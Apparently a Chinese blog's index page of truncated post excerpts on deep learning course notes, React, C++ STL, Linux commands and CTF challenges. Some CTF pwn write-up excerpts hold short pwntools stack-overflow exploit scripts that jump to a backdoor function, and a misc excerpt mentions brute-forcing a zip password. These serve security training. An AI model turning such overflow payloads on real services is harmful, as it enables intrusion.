DL(三)
Structuring Machine Learning ProjectsML Strategy (1)Why ML Strategy(机器学习策略)什么是机器学习策略?
假设我们正在调试🐱分类器,经过一段时间调试,系统的准确率达到了90%,但还有不少能提升准确率的方法,在下图中我们列出一部分
上述的诸多想法我们都可以进行测试,但问题在于,如果做出了错误的选择,可能会浪费大量时间,朝错误的方向前进(同时注意不到错误),因此我们需要一些策略,来判断哪些方法是值得一试的,哪些是可以舍弃的,或者提出新的方法
Orthogonaization(正交化)搭建机器学习模型时所面临的一个重要的问题是:可以尝试和改变的东西太多了
以这台老电视机为例。当我们要调整图像时,需要调整旋钮,我们可以很简单的知道,如果有一个旋钮集成了图像的长、宽、色度等信息时,我们要对图像进行合适的调整其实是很麻烦的,因此,电视的设计者将旋钮分为多个,每一个都对应着不同的属性,这即是正交化的思想(正交即为互成90度)
我们将其放在机器学习中思考
对于一个监督学习系统。通常需要调整系统的“旋钮”,确保四件事:
系统在训 ...
DL(二)
Improving Deep Neural Networks: Hyperparameter Tuning, Regularization and Optimization改善深层神经网络:超参数调试、正则化以及优化
Practical Aspects of Deep LearningTrain/Dev/Test sets训练神经网络时,我们需要做很多决策,例如:神经网络分为多少层、每层含有多少个隐藏单元、学习速率是多少、各层采用哪些激活函数……
在创建新应用的过程中,我们不能从一开始就准确预测出这些信息和其它超参数,实际上,应用型机器学习是一个高度迭代的过程
同时,创建高质量的训练数据集、验证集和测试集也有助于提高循环效率
需要注意的是,要确保验证集和测试集的数据来自于同一分布
Bias/Variance(偏差/方差)
理解偏差与方差的重要依据是,训练集误差和验证集误差
Train set error
1%
15%
15%
Dev set error
11%
16%
30%
high variance
high bias
high varianc ...
DL(一)
Neural Networks and Deep LearningNeural Networks BasicsWhat is a Neural Network?在这里我们使用房价预测作为模型
当我们处理一组零散的房价信息并绘制房价图时,对于图上的数据,我们想到利用线性回归画出直线
但我们发现,这条直线的前方明显是负的,但很明显,房价永远都不会是负的,我们选择添加拟合函数来表示这个房价图
而这个实现功能的拟合函数,就是一个非常简单的神经网络
中间的节点,就类似于一个神经元,这样,我们的网络就实现了左边函数的功能,神经元的功能,就是接受输入的值,对其进行线性运算,取不小于0的值,最后得出预测的价格
而左边的函数在DL中非常常见,先是0,后是一条直线我们将其称为“修正线性单元”(Rectified linear unit, relu)
其中的“修正”,即使指过滤值为0的数
回到原题,大的神经网络就是由多个孤立的神经元“组合”而成的
中间的节点被叫做“隐藏单元”
Supervised Learning with Neural Networks目前比较有价值的DL,都基于一种ML,我 ...
DL_Aim
Deep Learning StudyingAimCourses in this sequence:
Neural Networks and Deep Learning
Improving Deep Neural Networks: Hyperparameter tuning, Regularization and Optimization
Structuring(结构化) your Machine Learning project train/development/diff…
Convolutional(卷积)Neural Networks (CNN)
Natural Language Processing: Building sequence models RNN/LSTM
React(一)
React(一)第一章 React基础React简介What
用于构建用户界面的JS库 (操作DOM呈现页面,也即只关注界面)
将数据渲染为HTML视图的开源JS库
Why原生的缺点:
原生JS操作DOM频繁,效率低 (DOM — API操作UI)(尽管jQuery通过包装减少了代码量的书写,但在效率上没有任何提升)
使用JS直接操作DOM,浏览器会进行大量重绘重排
原生JS没有组件化编码方案,代码复用率低
模块化 —— 将JS的根据作用分成对应功能的模块
React的特点:
采用组件化模式、声明式编码,提高开发效率及组件复用率
命名式 与 声明式
在ReactNative中可以使用React语法进行移动端开发
使用虚拟DOM + 优秀的Diffing算法,尽量减少与真实DOM的交互
如下图所示,原生JS缺少代码复用,当你想改变页面中的某些元素时,结果往往是使用新的DOM将以前的完整覆盖掉,而以前的数据并没有派上用场
原生JS实现
React实现
How前置知识:判断this的指向、class、ES6语法规范、npm包管理器、原型&&a ...
C++STL总结
C++STL总结 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143vector(变长数组),倍增的思想,支持比较运算(按字典序) 定义:: vector <int> a; 定义:一个vector数组a vector <int> a(10); 定义:一个长度为10的vector数组a vector <int> a(10, ...
BuuCTF Pwn WP
BuuCTF Pwn WPWP作者:WZN
题目地址:
https://buuoj.cn/challenges
rip知识点:栈溢出 re2text
先看一下文件进制和保护措施
很好,什么都没开,我们使用64位的ida分析一下文件
主函数如图
gets()函数存在明显风险,双击s,发现占15个字符
查看函数,发现已有后门函数fun
构造exp,因为pwn1为64位程序,所以要补充8字节填上esp,返回fun的地址
12345678910111213from pwn import *context.arch = "amd64"io = process("/home/kali/Desktop/pwn1")fun = 0x401186payload = b'a' * (15 + 8) + p64(fun)io.sendline(payload) io.interactive()
本脚本在本地打通了程序,但是当笔者打靶机(Unbuntu18)的时候,却怎么也打不通,为什么呢?
栈对齐—— ubuntu ...
BUUCTF_MISC_WP(更新ing)
BuuCTF杂项WP
https://buuoj.cn/challenges
金三胖下载附件如下:
仔细看,会发现有几帧明显有猫腻,果断stegsolve,发现如下几帧:
答案显而易见对吧!
二维码下载附件如下:
别怕,扫描一下:
很明显,flag似乎就在二维码里,但不能被直接扫描出来,这条路走不通,我们就换条路,从图像本身进行分析
果然有东西!binwalk提取,发现是一个文件夹,里面是一个需要密码的压缩包,旁边是一个文本文档,名叫”4number“,提示很明显了——四位数字爆破
解压,拿到flag!
你竟然赶我走!hahaha,看看附件:
没啥可说的,010或者hex一看有惊喜
有N种方法解决呐,这个附件打不开!!!—— 用010堪堪罢,惊喜出现
.png)
编码开始的地方似乎是让我们把这些base64编码转成图像,说干就干!
扫一扫,得到答案!
大白下载附件如图:
又时候,题干很重要,”看不到图?是不是屏幕太小了“——图片的长宽或许有问题!
根据这个,我们通过010调整宽高,成功获得完整图片,你说flag在哪里呐😍
PNG文件分析
...
攻防世界PWN新手区WP(长期更新)
攻防世界PWN新手区WP(长期更新)
题目地址:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0
一、get_shell 获取靶场,nc登上查看即可,
二、Hello pwn! 首先拖进ksli里,用checksec看看文件多少位,以及保护措施的开关。
嗯,只开了NX,好耶!
接下来用64位的ida打开分析逻辑,如下图
看准“&”,重拳出击。很明显,本题要求我们输入数据到unk_601068的位置上,并在dword_60106C等于1853186401时,输出flag。
明白运行逻辑,我们就明白了,我们需要向其中填入垃圾数据时其溢出到dword_60106C,这样程序就可以运行函数拿到flag,脚本如下:
1234567891011from pwn import *context.arch = "amd64"p = remote('地址', 端口)payload = b'a' * (0x ...
linux学习札记
本学习札记立足于笔者入门linux系统命令学习时,通过OverTheWise的战争游戏,经查询、做题实践后写出,不足之处还请多多见谅。
1、pwd pwd命令常用于得知操作者目前所在的目录名称。
2、ls ls命令用于显示目前操作者所在目录之下的内容
-a 显示所有文件及目录 (. 开头的隐藏文件也会列出)
-l 除文件名称外,亦将文件型态、权限、拥有者、文件大小等资讯详细列出
-r 将文件以相反次序显示(原定依英文字母次序)
-t 将文件依建立时间之先后次序列出
-A 同 -a ,但不列出 “.” (目前目录) 及 “..” (父目录)
-F 在列出的文件名称后加一符号;例如可执行档则加 “*”, 目录则加 “/“
-R 若目录下有文件,则以下之文件亦皆依序列出
3、 cat cat命令用于连接文件并打印到标准输出设备上
-n 或 —number**:由 1 开始对所有输出的行数编号。
-b 或 —number-nonblank**:和 -n 相似,只不过对于空白行不编号
-s 或 —squeeze-blank**:当遇到有连续两行以上的空白行,就代换为一行 ...
攻防世界MISC新手题部分WP(更新ing)
攻防世界Misc新手题WP
地址:https://adworld.xctf.org.cn/task/task_list?type=misc&number=1&grade=0
一、PDF
菜猫给了菜狗一张图,说图下面什么都没有
因为题目里明显提示了“下面”,我们自然便能想到文件“下面”藏着什么,其一可能在图片下面藏有信息,其二可能藏有其它文件,于是开始逐步尝试。
首先,我们查看其属性,发现并没有什么隐藏信息,于是开始研究图片下面。
通过办公软件,我们将pdf文件转换成word文档,以此来从物理上观察图片下的信息。
当我们打开word文档,我们惊奇的发现,flag已经明显出现在眼前了!
复制粘贴结束。
二、give_you_flag
菜狗找到了文件中的彩蛋很开心,给菜猫发了个表情包
下载附件后,看到如下动图。
.gif)
题目中提到“文件中的”彩蛋“,所以文件中肯定有一些信息,而一张动图,是由多张静止图片组合 ...
CTF简介
一、CTF简介 Capture The Flag(以下简称”CTF”),顾名思义,即是夺取旗帜,由于相关介绍已经比较完全完全,其简介可见百度知道:CTF词条。
CTF
二、CTF的题目类型 CTF的题目类型大致包括以下五种: Web,Pwn,Misc, Reverse,Crypto
Web Web类题目大部分情况下和网、Web、HTTP等相关技能有关。主要考察选手对于Web攻防的一些知识技巧。诸如SQL注入、XSS、代码执行、代码审计等等都是很常见的考点。一般情况下Web题目只会给出一个能够访问的URL。部分题目会给出附件.
Pwn Pwn类题目重点考察选手对于二进制漏洞的挖掘和利用能力,其考点也通常在堆栈溢出、格式化漏洞、UAF、Double Free等常见二进制漏洞上。选手需要根据题目中给出的二进制可执行文件进行逆向分析,找出其中的漏洞并进行利用,编写对应的漏洞攻击脚本(Exploit),进而对主办方给出的远程服务器进行攻击并获取flag通常来说Pwn类题目给出的远程服务器信息为nc IP_ADDRESS PORT,例如nc 1.2.3.4 4567这种 ...